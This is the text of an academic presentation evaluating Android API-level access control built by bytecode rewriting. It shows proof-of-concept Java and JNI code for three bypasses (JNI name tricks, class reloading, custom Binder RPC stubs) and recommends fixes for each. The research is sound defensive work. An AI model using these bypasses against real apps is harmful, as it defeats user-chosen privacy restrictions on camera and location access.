On the Effectiveness of API-Level Access Control Using Bytecode Rewriting
Wenliang DuSyracuse University
Vicky SinghSyracuse University
Hao HaoSyracuse University
Agenda Introduction on API-level Access Control
using Bytecode Rewriting
Analysis on Existing Works
Attacks
Recommendations
Android Permission SystemCurrent Android install-time permission
system
Coarse-grained Permissionse.g., INTERNET permission
Application
Android API
Privileged Resource
s
Check Permissio
ns
Problem
Statement
API-level Access ControlImpose fine-grained access control
Instrument applications Bytecode rewriting Native library rewriting
Modify Android platform
Problem
Statement
Flexibility
Rich context informationEasy
deployment
Existing WorksBytecode rewriting
Improving privacy on android smartphones through in-vivo bytecode instrumentation. A. Bartel, J. Klein, K. Allix, Y. Traon, and M. Monperrus.
I-arm-droid: A rewriting framework for in-app reference monitors for android applications. B. Davis, B. Sanders, A. Khodaverdian, and H. Chen.
Dr. android and Mr. hide: Fine-grained security policies on unmodified android. J. Jeon, K. K. Micinski, and J. A. Vaughan
Application-centric security policies on unmodified android. N. Reddy, J. Jeon, J. Vaughan, T. Millstein, and J. Foster
Problem
Statement
ObjectiveSystematic evaluation to assess the
effectiveness of API-level access control using bytecode rewriting on Android platform
API-level Access Control Using Bytecode Rewriting
Design
Implementation
Application
Android API
Privileged Resources
Secure Wrapper
Problem
Statement
SecureApp.ap
k
Dalvik Bytecode
Static Analysis
Dalvik Bytecode Rewritin
g
Repackage
and Resignin
g
Original
App.apk
Android API ArchitectureSystem Server Process
Linux Kernel
Application
Android APIs
System Services
Secure Wrapper
Native Shared Library
Binder
Java Native Interface
Application ProcessDalvik Virtual Machine Dalvik Virtual
Machine
Kernel Space Pri
vile
ged
R
eso
urc
es
Analysis
Effectiveness of API-level Access ControlSystem Server Process
Linux Kernel
Application
Android APIs
System Services
Secure Wrapper
Native Shared Library
Binder
Java Native Interface
Application ProcessDalvik Virtual Machine Dalvik Virtual
Machine
Kernel Space
2
1
3
4
Pri
vile
ged
R
eso
urc
es
Analysis
Path 2: Invoke Native Libraries Directly
Background: Java Native Interface Enable communications between Java code and
native code.Usage
Attacks
package edu.com;public class MyClass {native public long myFunc();static { System.loadLibrary("myLib"); } }
JNIEXPORT jlong Java_edu_com_MyClass_myFunc( JNIEnv* env, jobject thiz);
myLib.so
static JNINativeMethod method_table [] = {{"myFunc", "(J)J", (void *) myFunc_Implementation }};
extern "C" jint JNI_OnLoad(JavaVM* vm, ... ) {jclass c = env->FindClass("edu/com/MyClass");env->RegisterNatives(c, method_table, 1); }
Dynamic Name
Resolution
Static Methods
Association
Path 2: Exploit JNI Naming Convention
Objective Invoke a native library function without going through
its corresponding Java API to evade the restriction enforced by the secure wrapper.
Android APIs
Secure Wrapper
Shared Libraries
ApplicationMethods
JNI
JNI
Attacks
Path 2: Exploit JNI Naming Convention
Attempts 1: (Fail)
Attempts 2: (Success)
package edu.com;public class MyClass { native public long my_Func(); }
package edu.com.MyClass;public class my { native public long Func(); }
package edu.com.MyClass;public class my {native long 1Func();static { System.loadLibrary(’myLib’); }}
Attacks
JNIEXPORT jlong Java_edu_com_MyClass_my_1Func( JNIEnv* env, jobject thiz);
JNIEXPORT jlong Java_edu_com_MyClass_my_Func( JNIEnv* env, jobject thiz);
Path 2: Case Study
In sqlite_jni library, we found functions with the "_1" pattern in the names.By invoking SQLite.Database.error.1string we
successfully invoked Java_SQLite_Database_error_1string.package SQLite.Database;
public class error {public static native String 1string(...);static{ System.loadLibrary(’sqlite_jni’); }}
Result
s
JNIEXPORT jstring JNICALLJava_SQLite_Database_error_1string(JNIEnv *env, …){ …}
sqlite_jni.so
Path 2: Exploit Java Class Reloading
Objectivemodify the implementation of the APIs that the
wrapper is trying to protect.Application
Customized Android APIs
Secure Wrapper
Shared Libraries
Class Loader
JNI
Attacks
Path 2: Exploit Java Class Reloading
Attempts 1: (Fail)use DexClassLoader to load redefined class
Attacks
package android.hardware;public class Camera{ final public void someFunc() { //Calling the privileged function privilegedFunc(); } native void privilegedFunc(); }
DexClassLoader classLoader = new DexClassLoader ("Camera.apk", ..., getClassLoader()); Class mClass = classLoader.loadClass("android.hardware.Camera"); android.hardware.Camera c = (android.hardware.Camera)mClass.newInstance();
//Access the privileged native code through someFunc()c.someFunc();
Class cannot be loaded again
Path 2: Exploit Java Class Reloading
Attempts 2: (Success)Use user-define class loader
Attacks
package android.hardware;public class Camera{ final public void someFunc() { //Calling the privileged function privilegedFunc(); } native void privilegedFunc(); }
public class MyDexLoader extends BaseDexClassLoader {// Constructor omitted @Override public Class<?> loadClass(String s) { Class c; try { c = super.findClass(s); return c; } catch (ClassNotFoundException e) { // handling the exceptions } return null; } }
Override loading policy
Path 2:Case Study
Performed our attack on a camera application. Bytecode rewriter enforced finer-grained access control on method Camera.takePicture
reload redefined android.hardware.Camera class into a new class loader.
Result
s
public class SecureCamera{public static void takePicture(Camera camera, ...){ Time now = new Time(); now.setToNow(); if(now.hour > 8 && now.hour < 18) {camera.takePicture(...); }}}
package android.hardware;public class Camera {public void takeMyPicture(...) {...}}
Take pictures between 8am to 6pm
Path 2:Case Study
Associate native Java methods of Camera class with corresponding native library functions.
Then attackers can use their customized class definition
Result
s
//Create a customized class loaderMyDexLoader ld = new MyDexLoader(...);//Load redefined Camera classClass c = ld.loadClass("android.hardware.Camera");Class util = ld.loadClass("com.android.internal.util.WithFramework");Method m = util.getDeclaredMethod("registerNatives", ...);m.invoke(...);
//Invoke takeMyPicture method using reflectionm = c.getDeclaredMethod("takeMyPicture", ...);m.invoke(...); ... }
registers native functions with Camera Java class
Path 2: Recommendations
Recommendations for Exploit JNI Naming Convention If any Java methods start with numbers, bytecode
rewriter should remove the digit as it is illegal.
Recommendations for Exploit Java Class ReloadingOne possible way is bytecode rewriter should restrict all
the invocations of methods within the call chain from findClass in the class BaseDexClassLoader to loadClass in DexFile.
Discussions
Path 3:Exploit Customized RPC Stubs
ObjectiveApplications code can directly communicate
with the system services without going through APIs that invoke RPC stubs.
Attackwrite attackers own RPC stub to communicate
with System Service
Secure Wrapper
Native Shared Library
Customized RPC Stubs
Application
Android APIs
Attacks
Path 3:Case Study
Evaluated on a geolocation application. Bytecode rewriter enforced fine access control policy on method getLastKnownLocation.class SecureLocationManager extends
LocationManager{public Location getLastKnownLocation(...) { Location loc = super.getLastKnownLocation(...); if(loc.getLatitude()>60&&loc.getLatitude()<70&& loc.getLongtitude()>140&&loc.getLongtitude() <160) { return loc; }}
Results
Retrieve locationinformation when the location is within Alaska.
Path 3:Case Study
Attackers can introduce customized RPC with different method signature.
Use customized RPC with different method signature to bypass access control placed on getLastKnownLocation API.
package my.location;/* User-defined RPC stub class */public interface LocMgr extends android.os.IInterface { public static abstract class Stub extends android.os.Binder implements my.location.LocMgr {...}}
Results
import my.location.LocMgr;IBinder b=android.os.ServiceManager.getService(LOCATION_SERVICE);LocMgr sLocationManger = LocMgr.Stub.asInterface(b);Location loc = sLocationManger.getLastKnownLocation(...);
Path 3:Recommendation
The fix is to apply the API-level access control on android.os.ServiceManager’s getService API, so application’s Java code cannot use this API to get system services.
Discussion
s
ConclusionOur work manifests the need to address all
the above attacks to fulfill an effective API-level access control using bytecode rewriting.
Discussion
s
Questions?